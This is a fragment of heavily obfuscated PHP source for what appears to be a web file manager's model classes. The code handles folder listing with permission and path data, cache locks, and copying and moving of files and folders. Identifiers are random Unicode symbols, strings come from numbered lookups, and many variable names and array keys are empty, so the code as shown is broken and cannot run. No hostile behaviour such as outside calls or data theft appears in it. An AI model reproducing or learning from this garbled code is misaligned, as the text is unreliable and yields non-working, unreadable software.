$[$ݒα[410]] == $ݒα[88] ? $ݒα[208] : $ݒα[207]; if (!isset($̂[$])) { $̂[$] = array($ݒα[207] => 0, $ݒα[208] => 0); } $̂[$][$] += $[$ݒα[500]]; } foreach ($ as &$Ȭ) { if (!$Ȭ[$ݒα[410]]) { continue; } $ = is_array($̂[$Ȭ[$ݒα[402]]]) ? $̂[$Ȭ[$ݒα[402]]] : $ʏ; $Ȭ[$ݒα[208]] = $[$ݒα[208]]; $Ȭ[$ݒα[207]] = $[$ݒα[207]]; unset($Ȭ[$ݒα[412]]); } unset($Ȭ); } protected function _listAppendAuth(&$) { $Ƞ =& $_SERVER[]; if (!defined($Ƞ[475])) { return; } $͈ = array(); foreach ($ as $܀) { if ($܀[$Ƞ[411]] == self::TYPE_GROUP) { $͈[] = $܀[$Ƞ[402]]; } } if (!$͈) { return; } $ = array_to_keyvalue($, $Ƞ[402]); $ = Model($Ƞ[502])->getSourceList($͈, $); $ = $GLOBALS[$Ƞ[503]] == 1; foreach ($ as $⾨ => &$܀) { $܀[$Ƞ[413]] = $[$܀[$Ƞ[402]]]; if (!$܀[$Ƞ[413]] && $܀[$Ƞ[411]] == self::TYPE_GROUP) { $܀[$Ƞ[413]] = Action($Ƞ[504])->pathGroupAuthMake($܀[$Ƞ[505]]); if (!$܀[$Ƞ[413]] && !$) { $܀[$Ƞ[202]] = !1; $܀[$Ƞ[201]] = !1; } } if ($܀[$Ƞ[413]]) { $܀[$Ƞ[202]] = AuthModel::authCheckEdit($܀[$Ƞ[413]][$Ƞ[414]]); $܀[$Ƞ[201]] = AuthModel::authCheckView($܀[$Ƞ[413]][$Ƞ[414]]); } $this->groupPathDisplay($܀); } unset($܀); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[]; if (Model($[435])->get($[506]) != $[88]) { return; } static $ = false; if (!$) { $Ԯ = Model($[507]); $Θ = Model($[508]); $ = $Θ->listData(); $ = array_to_keyvalue($, $[402]); $ņ = json_decode(Model($[435])->get($[509]), !0); $ņ = array_to_keyvalue($ņ, $[399]); foreach ($ as $ƭבډ => $) { $ = $ņ[$[$[510]]]; if (!$) { $Θ->remove($[$[399]]); unset($[$ƭבډ]); continue; } $Τ = $Ԯ->listData($[$[413]]); if (!$Τ) { $Θ->remove($[$[399]]); unset($[$ƭבډ]); continue; } $[$[413]] = $Τ; $[$[511]] = $; $[$[512]] = Model($[513])->getInfoSimpleOuter($[$[454]]); $[$ƭבډ] = $; } } $ = defined($[514]) ? USER_ID : $[12]; $ = array(); $ = $this->_listAppendPath($, !0); foreach ($ as $ƭבډ => &$) { if (!is_array($[$[413]])) { continue; } if ($[$[411]] != $[515]) { continue; } if (isset($[$[$[402]]])) { $ƫ = $[$[$[402]]]; if (!is_array($[$[466]])) { $[$[466]] = array(); } $[$[466]][$[516]] = $ƫ[$[510]]; $[$[413]][$[517]] = $ƫ; $[$[413]][$[518]] = $[$[519]]; $[$[413]][$[520]] = $[88]; if ($ƫ[$[454]] != $) { $[$[413]][$[414]] = $[$[413]][$[414]] & $ƫ[$[413]][$[413]]; } continue; } $ = $this->parentLevelArray($[$[521]]); $ = array_reverse($); foreach ($ as $ => $߷) { if (!isset($[$߷])) { continue; } $ƫ = $[$߷]; $[$[413]][$[517]] = $ƫ; if ($ƫ[$[454]] != $) { $[$[413]][$[414]] = $[$[413]][$[414]] & $ƫ[$[413]][$[413]]; } $ʈ = $[12]; $ = count($) - $; for ($͂ = 0; $͂ < $; $͂++) { if (!isset($[$[$͂]])) { $ʈ = $[12]; break; } $ʈ = $ʈ . rtrim($[$[$͂]], $[8]) . $[8]; } $[$[413]][$[518]] = rtrim($ʈ, $[8]) . $[8]; break; } } unset($); } public function groupPathDisplay(&$״) { $ˏ =& $_SERVER[]; if ($״[$ˏ[411]] != self::TYPE_GROUP) { return; } $ = Model($ˏ[522])->getInfo($״[$ˏ[505]]); $ = $this->parentLevelArray($[$ˏ[521]]); $ħ = $ˏ[12]; foreach ($ as $җޖ) { $ = Model($ˏ[522])->getInfo($җޖ); $ħ .= $[$ˏ[86]][$ˏ[402]] . $ˏ[50]; } $״[$ˏ[523]] = $[$ˏ[432]]; $״[$ˏ[524]] = $[$ˏ[521]]; $״[$ˏ[525]] = $[$ˏ[526]]; $״[$ˏ[527]] = $ħ . $[$ˏ[86]][$ˏ[402]]; } protected function _listAppendPath(&$퇑, $ = false) { $ =& $_SERVER[]; static $Ͼ = array(); $Ԋ = array(); $ͪ = array(); if ($) { return $Ͼ; } foreach ($퇑 as &$Ǥ) { $ = $Ǥ[$[402]]; if ($Ǥ[$[410]] == $[88] && $Ǥ[$[432]] != 0) { $Ͼ[$] = $Ǥ[$[32]]; } if ($Ǥ[$[410]] == $[88] && $Ǥ[$[432]] == 0 && !isset($Ͼ[$])) { $Ͼ[$] = $this->_listAppendPathRoot($Ǥ, array()); } if (isset($ͪ[$Ǥ[$[521]]])) { continue; } $ͪ[$Ǥ[$[521]]] = !0; $ħ = $this->parentLevelArray($Ǥ[$[521]]); foreach ($ħ as $彩ӈ => $ϛ) { if (isset($Ͼ[$ϛ])) { continue; } if ($彩ӈ == 0) { $Ͼ[$ϛ] = $this->_listAppendPathRoot($Ǥ, $ħ); } if ($彩ӈ != 0) { $Ԋ[] = $ϛ; } } } unset($Ǥ); $Ԋ = array_unique($Ԋ); if (count($Ԋ) > 0) { $Ĵ = array($[417] => array($[418], $Ԋ)); if (count($Ԋ) == 1) { $ه = $this->sourceInfo($Ԋ[0]); $ = is_array($ه) ? array($ه) : !1; } else { $ = $this->field($[528])->where($Ĵ)->select(); } if (!$) { $ = array(); } foreach ($ as $) { $Ͼ[$[$[402]]] = $[$[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $Ŷ = array(); foreach ($퇑 as &$Ǥ) { $ = $Ǥ[$[521]]; $ = $[12]; if (isset($Ŷ[$])) { $ = $Ŷ[$]; } else { $ħ = $this->parentLevelArray($Ǥ[$[521]]); foreach ($ħ as $彩ӈ => $ϛ) { if (isset($Ͼ[$ϛ])) { $ .= $Ͼ[$ϛ] . $[8]; } } $Ŷ[$] = $; } $ .= $Ǥ[$[32]]; if ($Ǥ[$[410]] == $[88]) { $ .= $[8]; } $Ǥ[$[519]] = str_replace($[529], $[8], $); if ($Ǥ[$[432]] == $[197]) { $Ǥ[$[32]] = trim($Ͼ[$Ǥ[$[402]]], $[8]); $Ǥ[$[519]] = $Ǥ[$[32]] . $[8]; } if (intval($Ǥ[$[411]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($Ǥ, $ħ, $); } } unset($Ǥ); return $퇑; } private function _listAppendPathRecycle(&$, $䊎, $ܒ) { $Ѯ =& $_SERVER[]; if (!in_array($ܒ, $䊎) && $[$Ѯ[402]] != $ܒ) { return; } $ = explode($Ѯ[8], trim($[$Ѯ[519]], $Ѯ[8])); $ӯ = implode($Ѯ[8], array_slice($, 2)); $[$Ѯ[519]] = $Ѯ[8] . LNG($Ѯ[530]) . $Ѯ[8] . ltrim($ӯ, $Ѯ[8]); $[$Ѯ[521]] = $Ѯ[531] . implode($Ѯ[50], array_slice($䊎, 1)) . $Ѯ[50]; if ($[$Ѯ[402]] == $ܒ) { $[$Ѯ[521]] = $Ѯ[531]; $[$Ѯ[432]] = $Ѯ[197]; $[$Ѯ[32]] = LNG($Ѯ[530]); } $[$Ѯ[532]] = $Ѯ[533]; } protected function _listAppendPathRoot(&$ߘ, $ڬ) { $ =& $_SERVER[]; static $܅ = false; $Ȗ = $[12]; if ($ߘ[$[411]] == self::TYPE_USER) { if (defined($[475]) && $ߘ[$[505]] == USER_ID) { $Ȗ = LNG($[534]); if ($܅ === !1) { $ = Model($[535])->getInfoFull(USER_ID); $܅ = _get($, $[536], $[12]); } if ($ڬ && $ڬ[0] == $܅ || !$ڬ && $ߘ[$[402]] == $܅) { $Ȗ = LNG($[537]); $ߘ[$[538]] = $[539]; } if (!$ڬ) { $ߘ[$[32]] = $Ȗ; } } else { $ɧ = Model($[513])->getInfoSimple($ߘ[$[505]]); $Ȗ = LNG($[540]) . $[162] . $ɧ[$[32]] . $[164]; $ߘ[$[541]] = array($[32] => $ɧ[$[32]], $[542] => $ɧ[$[542]], $[543] => $ɧ[$[543]]); } } else { if ($ߘ[$[411]] == self::TYPE_GROUP) { $ɧ = Model($[522])->getInfoSimple($ߘ[$[505]]); $Ȗ = $ɧ[$[32]]; } else { if ($ߘ[$[411]] == self::TYPE_SYSTEM) { $Ȗ = $[544]; } } } $Ȗ = $Ȗ ? $[8] . $Ȗ . $[8] : $[8]; return $Ȗ; } protected function _listAppendUser(&$) { $ꃞʌ =& $_SERVER[]; $ = array_to_keyvalue($, $ꃞʌ[12], $ꃞʌ[454]); $̵ = array_to_keyvalue($, $ꃞʌ[12], $ꃞʌ[456]); $ɔ = array_merge($, $̵); $͝ = Model($ꃞʌ[535])->userListInfo($ɔ); foreach ($ as &$) { $愴 = $[$ꃞʌ[454]]; $[$ꃞʌ[454]] = $͝[$愴] ? $͝[$愴] : !1; $愴 = $[$ꃞʌ[456]]; $[$ꃞʌ[456]] = $͝[$愴] ? $͝[$愴] : !1; if (isset($[$ꃞʌ[466]]) && $[$ꃞʌ[466]][$ꃞʌ[545]]) { $ʉ = $GLOBALS[$ꃞʌ[6]][$ꃞʌ[89]][$ꃞʌ[546]]; if ($[$ꃞʌ[466]][$ꃞʌ[547]] <= time() - $ʉ) { $this->metaSet($[$ꃞʌ[402]], $ꃞʌ[545], null); $this->metaSet($[$ꃞʌ[402]], $ꃞʌ[547], null); unset($[$ꃞʌ[466]][$ꃞʌ[545]]); continue; } $ = $[$ꃞʌ[466]][$ꃞʌ[545]]; $[$ꃞʌ[466]][$ꃞʌ[548]] = Model($ꃞʌ[535])->getInfoSimpleOuter($); } } unset($); } public function parentLevelArray($) { $ܐ =& $_SERVER[]; $ = explode($ܐ[50], trim($, $ܐ[50])); return array_remove_value($, $ܐ[197]); } public function listAll($ڷ) { $ۜ =& $_SERVER[]; $ = $this->sourceInfo($ڷ); $璩 = array($ۜ[549] => array($ۜ[550], $[$ۜ[521]] . $ڷ . $ۜ[551]), $ۜ[552] => 0); $օ = $ۜ[553]; $ȯ = "\x4c\x45\106\x54\x20\x4a\x4f\111\116\x20{$this->tablePrefix}\x69\157\x5f\x66\x69\x6c\x65\40\x66\x69\154\145\40\x6f\x6e\40\x73\157\x75\162\143\145\x2e\x66\x69\x6c\145\x49\104\x20\x3d\40\x66\x69\154\145\x2e\x66\x69\154\145\x49\104"; $ = $this->alias($ۜ[446])->field($օ)->where($璩)->join($ȯ)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $ۜ[402]); $ = "\57{$[$ۜ[32]]}\57"; $ = $ == $ۜ[529] ? $ۜ[8] : $; $Պע = array(); foreach ($ as $ٚ => $) { $ڊ = $this->parentLevelArray($[$ۜ[521]]); array_shift($ڊ); $Ԑ = $; for ($ = 0; $ < count($ڊ); $++) { $Ԑ .= $[$ڊ[$]][$ۜ[32]] . $ۜ[8]; } $Ԑ .= $[$ۜ[32]]; if ($[$ۜ[410]]) { $Ԑ .= $ۜ[8]; } $Ԑ = str_replace($ۜ[529], $ۜ[8], $Ԑ); $Ԑ = str_replace($ۜ[529], $ۜ[8], $Ԑ); $ = array($ۜ[421] => str_replace($ۜ[529], $ۜ[8], $Ԑ), $ۜ[554] => intval($[$ۜ[410]]), $ۜ[86] => $this->pathInfoFilter($)); if (!$[$ۜ[410]]) { $[$ۜ[468]] = $[$ۜ[468]]; $[$ۜ[87]] = $[$ۜ[84]]; } $Պע[] = $; } return $Պע; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($Ϧ) { $Å =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($Å[555], $Ϧ); $͏ = 1; $this->_lockEvent($Ϧ, array($Å[556], $Å[557]), $͏); $this->_lockParent($Ϧ, array($Å[557]), $͏); $this->_lockEvent($Ϧ, array($Å[558], $Å[559]), $͏); $this->_lockCheckEnd($Å[555], $Ϧ); } public function lockCopyEnd($) { $̱ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ě = 0; $this->_lockEvent($, array($̱[556], $̱[557]), $ě); $this->_lockParent($, array($̱[557]), $ě); $this->_lockEvent($, array($̱[558], $̱[559]), $ě); } public function lockWriteStart($И, $˚ = '') { $ݷ͈ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($ݷ͈[556], $И); $߂ = 1; $this->_lockKey($ݷ͈[560] . $И . $ݷ͈[10] . $˚, $߂); $this->_lockEvent($И, array($ݷ͈[555], $ݷ͈[557]), $߂); $this->_lockParent($И, array($ݷ͈[555], $ݷ͈[557]), $߂); $this->_lockCheckEnd($ݷ͈[556], $И); } public function lockWriteEnd($Ӗ, $Ұ = '') { $婯 =& $_SERVER[]; if (!$this->allowLock()) { return; } $ш = 0; $this->_lockKey($婯[560] . $Ӗ . $婯[10] . $Ұ, $ш); $this->_lockEvent($Ӗ, array($婯[555], $婯[557]), $ш); $this->_lockParent($Ӗ, array($婯[555], $婯[557]), $ш); } public function lockMoveStart($ζ) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[557], $ζ); $ٌ = 1; $this->_lockKey($[561] . $ζ, $ٌ); $this->_lockEvent($ζ, array($[555], $[556]), $ٌ); $this->_lockParent($ζ, array($[555], $[557]), $ٌ); $this->_lockEvent($ζ, array($[562], $[558], $[559]), $ٌ); $this->_lockCheckEnd($[557], $ζ); } public function lockMoveEnd($ÉҚ) { $֘ =& $_SERVER[]; if (!$this->allowLock()) { return; } $̾ = 0; $this->_lockKey($֘[561] . $ÉҚ, $̾); $this->_lockEvent($ÉҚ, array($֘[555], $֘[556]), $̾); $this->_lockParent($ÉҚ, array($֘[555], $֘[557]), $̾); $this->_lockEvent($ÉҚ, array($֘[562], $֘[558], $֘[559]), $̾); } private function _lockCheck($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $̋ܭ = $ . $[10] . $; $this->_lockTimeStart[$̋ܭ] = timeFloat(); if (!is_array($)) { return; } $ޚ = LNG($[563]); CacheLock::setErrorMsg($[162] . htmlspecialchars($[$[32]]) . $[164] . $ޚ); $this->_lockKey($̋ܭ, 1); $this->_lockKey($̋ܭ, 0); $Ҷ = array_reverse($this->parentLevelArray($[$[521]])); foreach ($Ҷ as $Ґ) { $̋ܭ = $ . $[564] . $Ґ; if (CacheLock::lockGet($[565] . $̋ܭ)) { $ = $this->sourceInfo($Ґ); CacheLock::setErrorMsg($[162] . htmlspecialchars($[$[32]]) . $[164] . $ޚ); $this->_lockKey($̋ܭ, 1); $this->_lockKey($̋ܭ, 0); } } } private function _lockCheckEnd($, $ھ) { $چ =& $_SERVER[]; $ۼ = $ . $چ[10] . $ھ; CacheLock::setErrorMsg($چ[378]); if (!isset($this->_lockTimeStart[$ۼ])) { return; } $ = timeFloat() - $this->_lockTimeStart[$ۼ]; unset($this->_lockTimeStart[$ۼ]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$چ[460] . $ھ]); } $ = $this->sourceInfo($ھ); if (!$) { show_json(LNG($چ[105]), !1); } } private function _lockParent($, $࠙, $) { if (!$this->autoLockSet) { return; } $̏ = $this->sourceInfo($); if (!is_array($̏)) { return; } $䩍 = array_reverse($this->parentLevelArray($̏[$_SERVER[][521]])); foreach ($䩍 as $) { $this->_lockEvent($, $࠙, $); } } private function _lockEvent($䮟, $, $) { $աԞ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($ as $ݙ) { $ɖ = $ݙ . $աԞ[10] . $䮟; if ($ && CacheLock::lockGet($աԞ[565] . $ɖ)) { continue; } $this->_lockKey($ɖ, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($×, $೯ = 1) { $ = $_SERVER[][565] . md5($×); if ($೯) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($Ǭ, $) { $ܯ =& $_SERVER[]; $ď = $this->sourceInfo($Ǭ); $ԓ = $this->sourceInfo($); $ɖ = $ď[$ܯ[521]] . $ď[$ܯ[402]] . $ܯ[50]; $æ = $ԓ[$ܯ[521]] . $ԓ[$ܯ[402]] . $ܯ[50]; $ߺ = strpos($æ, $ɖ) === 0; return $ߺ; } private $targetIsDelete = 0; public function copy($, $, $ڢ = REPEAT_REPLACE, $ = '') { $⎠ =& $_SERVER[]; $ = $this->sourceInfo($); $疡߆ = $this->sourceInfo($); if (!$ || !$疡߆ || $疡߆[$⎠[410]] != $⎠[88]) { return !1; } if ($this->isParentOf($, $)) { return !1; } $ = $ ? $ : $[$⎠[32]]; $this->lockCopyStart($); $this->lockWriteStart($, $); $䙇 = array($⎠[566] => array(), $⎠[567] => array(), $⎠[568] => array()); $this->targetIsDelete = intval($[$⎠[431]]); $څ = $this->fileNameExistCache($, $[$⎠[32]]); $ = $this->_copy($, $, $ڢ, $䙇, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($, $); if ($[$⎠[410]] == $⎠[88] && $څ == $) { $this->folderSizeResetChildren($څ); } Model($⎠[569])->addAll($䙇[$⎠[567]], array(), !0); if ($څ != $ || $[$⎠[410]] == $⎠[88]) { Model($⎠[570])->eventCopy($); } $this->saveAll($䙇[$⎠[568]]); Model($⎠[199])->linkAdd($䙇[$⎠[566]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copy($, $Ɖ, $, &$̪, $燠, $ = '') { $֣Ս =& $_SERVER[]; $ = $this->sourceInfoCache($); $斦 = $[$֣Ս[410]] == $֣Ս[88]; $ = $ ? $ : $[$֣Ս[32]]; $Н = $this->fileNameExistCache($Ɖ, $); if ($燠) { $this->_childrenAllMake($); if ($斦 && $Н) { $this->_childrenAllMake($Н); } } if (!$Н) { return $this->_copyCreate($, $Ɖ, $, $̪); } $ܭ = $Н; if ($斦) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($Ɖ, $, $, $斦); $ܭ = $this->_copyCreate($, $Ɖ, $, $̪); } else { $ = $this->_childrenList($); foreach ($ as $) { $this->_copy($[$֣Ս[402]], $Н, $, $̪, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($Ɖ, $, $, $斦); $ܭ = $this->_copyCreate($, $Ɖ, $, $̪); } else { if ($ == REPEAT_REPLACE) { $˫ = $this->sourceInfoCache($Н); $͉ = $this->fileHistory($˫, $[$֣Ս[468]], $[$֣Ս[76]]); if ($͉) { $̪[$֣Ս[566]][] = $[$֣Ս[468]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($֣Ս[571], array($֣Ս[572], $, 0)); } return $ܭ; } private function _copyCreate($ּ̰, $, $Е, &$녬) { $ϫ =& $_SERVER[]; $ = $this->sourceInfoCache($ּ̰); $ҁ = $this->sourceInfoCache($); $ݔ = $this->_makeItemData($, $ҁ, $Е); Hook::trigger($ϫ[573], $ݔ); Hook::trigger($ϫ[574], array($ϫ[575], $ݔ, 0)); $ = $this->add($ݔ); $㨱 = array($ϫ[402] => $, $ϫ[32] => $Е); $this->_copyApplyMeta($㨱, $녬); if ($[$ϫ[410]] != $ϫ[88]) { $녬[$ϫ[566]][] = $[$ϫ[468]]; return $; } $צō = array(); $ް = array(); $this->_childrenListAll($ּ̰, $צō); $ = count($צō); if ($ == 0) { return $; } $Ȟ = $this->sourceInfo($); foreach ($צō as $Ԋε) { $ = $this->_makeItemData($Ԋε, $Ȟ, $Ԋε[$ϫ[32]]); $[$ϫ[521]] = $Ԋε[$ϫ[521]]; $ް[] = $; } $this->chunkEventSet($ϫ[576], array($ϫ[577], $ݔ, $)); $this->addAll($ް, array(), !1); $Ӥ = $this->where(array($ϫ[432] => $))->select(); $ = $this->_childrenMakeRelation($צō, $Ӥ); $[$ּ̰] = $; $Ͷͳ = array(); $ώؚ = array(); foreach ($Ӥ as $Ԋε) { $ = $Ԋε[$ϫ[402]]; $ޗ = $this->_childrenMatch($, $Ԋε, $Ȟ); $Ͷͳ[] = array($ϫ[402], $, $ϫ[432], $ޗ[$ϫ[432]]); $ώؚ[] = array($ϫ[402], $, $ϫ[521], $ޗ[$ϫ[521]]); $this->_copyApplyMeta($Ԋε, $녬); if ($Ԋε[$ϫ[410]] != $ϫ[88]) { $녬[$ϫ[566]][] = $Ԋε[$ϫ[468]]; } } $this->chunkEventSet($ϫ[578], array($ϫ[579], $ݔ, $)); $this->saveAll($Ͷͳ); $this->chunkEventSet($ϫ[580], array($ϫ[581], $ݔ, $)); $this->saveAll($ώؚ); return $; } private function _childrenMakeRelation($ه, $Ң) { $Ӓ =& $_SERVER[]; $Ð = array(); $Т = array(); foreach ($ه as $䛵) { $ˋ = $䛵[$Ӓ[32]] . $Ӓ[8] . $䛵[$Ӓ[521]]; $Ð[$ˋ] = $䛵[$Ӓ[402]]; } foreach ($Ң as $䛵) { $ˋ = $䛵[$Ӓ[32]] . $Ӓ[8] . $䛵[$Ӓ[521]]; $ۛ = $Ð[$ˋ]; $Т[$ۛ] = $䛵[$Ӓ[402]]; } return $Т; } private function _childrenMatch($, $, $ۊό) { $ =& $_SERVER[]; $ҲͶ = $ۊό[$[521]]; $ = $this->parentLevelArray($[$[521]]); foreach ($ as $ijչ) { if (isset($[$ijչ])) { $ҲͶ .= $[$ijչ] . $[582]; } } $ҲͶ = rtrim($ҲͶ, $[50]) . $[50]; $ަޟ = $this->parentLevelArray($ҲͶ); $ = $ަޟ[count($ަޟ) - 1]; return array($[432] => $, $[521] => $ҲͶ); } private function _makeItemData($, $, $) { $ =& $_SERVER[]; $ѷ = array($[583] => $[$[410]], $[420] => $, $[584] => $[$[412]] ? $[$[412]] : $[12], $[469] => $[$[468]] ? $[$[468]] : 0, $[585] => $[$[76]] ? $[$[76]] : 0, $[586] => intval($[$[411]]), $[587] => intval($[$[505]]), $[588] => intval(USER_ID), $[589] => intval(USER_ID), $[401] => intval($[$[402]]), $[590] => $[$[521]] . $[$[402]] . $[50], $[424] => $[$[85]] ? $[$[85]] : time(), $[430] => 0, $[591] => $[12]); return $ѷ; } private function _copyApplyMeta($, &$ӭ) { $ԫ =& $_SERVER[]; $ۄ = $[$ԫ[402]]; $쨞 = $[$ԫ[32]]; if (!isset($[$ԫ[592]]) || !$[$ԫ[592]] || $[$ԫ[592]] == $ԫ[197]) { $ӭ[$ԫ[568]][] = array($ԫ[402], $ۄ, $ԫ[592], short_id($ۄ)); } if (Input::check($쨞, $ԫ[593])) { $ӭ[$ԫ[567]][] = array($ԫ[402] => $ۄ, $ԫ[94] => $ԫ[465], $ԫ[374] => str_replace($ԫ[53], $ԫ[12], Pinyin::get($쨞))); $ӭ[$ԫ[567]][] = array($ԫ[402] => $ۄ, $ԫ[94] => $ԫ[464], $ԫ[374] => Pinyin::get($쨞, $ԫ[594])); } $ӭ[$ԫ[567]][] = array($ԫ[402] => $ۄ, $ԫ[94] => $ԫ[444], $ԫ[374] => KodSort::makeStr($쨞)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SERVER[]; $ɐ = $this->sourceInfo($); $㾦 = $[595]; $ӷλ = array($[521] => array($[550], $ɐ[$[521]] . $ . $[551]), $[431] => $this->targetIsDelete); $ϱ = $this->field($㾦)->where($ӷλ)->select(); if (!$ϱ) { return; } $ϱ = array_to_keyvalue($ϱ, $[402]); foreach ($ϱ as $śݻ̵) { $Ӳ = $śݻ̵[$[432]]; $ = $śݻ̵[$[402]]; if (!isset($this->_childrenListCache[$]) && $śݻ̵[$[410]] == $[88]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$Ӳ])) { $this->_childrenListCache[$Ӳ] = array(); } $this->_childrenListCache[$Ӳ][$] = $śݻ̵; $this->_childrenItemCache[$] = $śݻ̵; } } private function _childrenListAll($, &$̄) { $ϣ =& $_SERVER[]; if (!isset($this->_childrenListCache[$])) { return; } $Ģ = $this->_childrenListCache[$]; foreach ($Ģ as $ʦ => $ƾ镒) { $̄[$ʦ] = $ƾ镒; if ($ƾ镒[$ϣ[410]] == $ϣ[88]) { $this->_childrenListAll($ʦ, $̄); } } } private function sourceInfoCache($ؗ) { if (isset($this->_childrenItemCache[$ؗ])) { return $this->_childrenItemCache[$ؗ]; } return $this->sourceInfo($ؗ); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($ܜ) { $ =& $_SERVER[]; $ = array($[432] => $ܜ, $[431] => $this->targetIsDelete); $Ɗ˩ = $this->where($)->select(); $Ɗ˩ = $Ɗ˩ ? $Ɗ˩ : array(); $ˤ = array_to_keyvalue($Ɗ˩, $[402]); $this->_childrenListCache[$ܜ] = $ˤ; foreach ($ˤ as $ܜ => $) { $this->_childrenItemCache[$ܜ] = $; } return $ˤ; } private function fileNameExistCache($ʮ, $Ը) { $ =& $_SERVER[]; $Ը = strtolower($Ը); $Ч = $this->_childrenList($ʮ); foreach ($Ч as $Њ) { if ($Ը == strtolower($Њ[$[32]])) { return $Њ[$[402]]; } } return !1; } private function fileNameAutoCache($ų, $Ļ, $צ, $ԭ) { $ֻ =& $_SERVER[]; $۰ = $this->_childrenList($ų); $ = array_to_keyvalue($۰, $ֻ[12], $ֻ[32]); return $this->fileNameAutoGet($, $Ļ, $צ, $ԭ); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $ܐ, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[]; $ڥ = $this->sourceInfo($); $㐙 = $this->sourceInfo($ܐ); if ($ڥ[$[432]] == $㐙[$[402]]) { if ($ڥ[$[431]] == $[88]) { Model($[429])->restore(array($)); } if (!$ || $ == $ڥ[$[32]]) { return $; } } $ = $this->pathInfoMore($); if ($this->isParentOf($, $ܐ)) { return !1; } if (!$ڥ || !$㐙 || $㐙[$[410]] != $[88]) { return !1; } Hook::trigger($[596], $); $this->targetIsDelete = intval($ڥ[$[431]]); if ($ڥ[$[432]] == $ܐ && $ != $ڥ[$[32]]) { $ᴞ = $this->fileNameExist($ܐ, $); if ($ᴞ && $ڥ[$[410]] == $[197]) { $תϣ = $this->sourceInfo($ᴞ); $ː = $this->fileHistory($תϣ, $ڥ[$[468]], $ڥ[$[76]]); if (!$ː) { Model($[471])->remove($ڥ[$[468]]); } $this->removeNow($, !1); $this->folderSizeReset($ܐ); Hook::trigger($[597], $); return $ᴞ; } } $ٚ = $ ? $ : $ڥ[$[32]]; $this->lockMoveStart($); $this->lockWriteStart($ܐ, $ٚ); $ = array($[566] => array(), $[598] => !1); $this->clearShare($, $ܐ); $ = $this->fileNameExistCache($ܐ, $ڥ[$[32]]); $ȏ = $this->_move($, $ܐ, $, $, $); $this->sourceCacheClear(); if ($ڥ[$[410]] == $[88] && $) { $this->folderSizeResetChildren($ȏ); } Model($[199])->linkAdd($[$[566]]); if ($ && $[$[598]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($ܐ, $ٚ); $this->folderSizeReset($ڥ[$[432]]); $this->folderSizeReset($ܐ); $Щ = array($ڥ[$[432]], $ܐ); if ($ڥ[$[410]] == $[88]) { $Щ[] = $; } $this->updateModifyTime($Щ); Model($[570])->eventMove($, $ڥ[$[432]], $ܐ); Hook::trigger($[597], $); return $ȏ; } private function _move($߽뾴, $؝, $ȭ, &$ƈ, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($߽뾴); $̆ = $[$[410]] == $[88]; $Ҵ = $ ? $ : $[$[32]]; $ = $this->fileNameExistCache($؝, $Ҵ); $this->lockMoveStart($߽뾴); $this->lockWriteStart($؝, $Ҵ); if (!$) { return $this->_moveForce($߽뾴, $؝, $Ҵ); } $Ͼ = $; $ = !1; if ($̆) { if ($ȭ == REPEAT_RENAME_FOLDER) { $Ҵ = $this->fileNameAuto($؝, $Ҵ, $ȭ, $̆); $Ͼ = $this->_moveForce($߽뾴, $؝, $Ҵ); } else { if ($ȭ == REPEAT_RENAME_FOLDER) { $ȭ = REPEAT_RENAME; } $ = $this->_childrenListSelect($߽뾴); foreach ($ as $ꊼ) { $this->_move($ꊼ[$[402]], $, $ȭ, $ƈ); } $ = !0; } } else { if ($ȭ == REPEAT_SKIP) { $ = !0; } else { if ($ȭ == REPEAT_RENAME || $ȭ == REPEAT_RENAME_FOLDER) { $Ҵ = $this->fileNameAuto($؝, $Ҵ, $ȭ, $̆); $Ͼ = $this->_moveForce($߽뾴, $؝, $Ҵ); } else { if ($ȭ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ٴ = $this->fileHistory($, $[$[468]], $[$[76]]); $ = !0; if ($ٴ) { $ƈ[$[566]][] = $[$[468]]; } } } } } if ($ && !$ƈ[$[598]]) { $ƈ[$[598]] = !0; } return $Ͼ; } private function _moveForce($ԯ؝, $, $Ǻ) { $ǚ =& $_SERVER[]; $ґ = $this->sourceInfo($ԯ؝); $̍ = $this->sourceInfo($); $먖 = $ґ[$ǚ[410]] == $ǚ[88]; $ = array($ǚ[401] => $̍[$ǚ[402]], $ǚ[590] => $̍[$ǚ[521]] . $̍[$ǚ[402]] . $ǚ[50], $ǚ[586] => $̍[$ǚ[411]], $ǚ[587] => $̍[$ǚ[505]], $ǚ[589] => 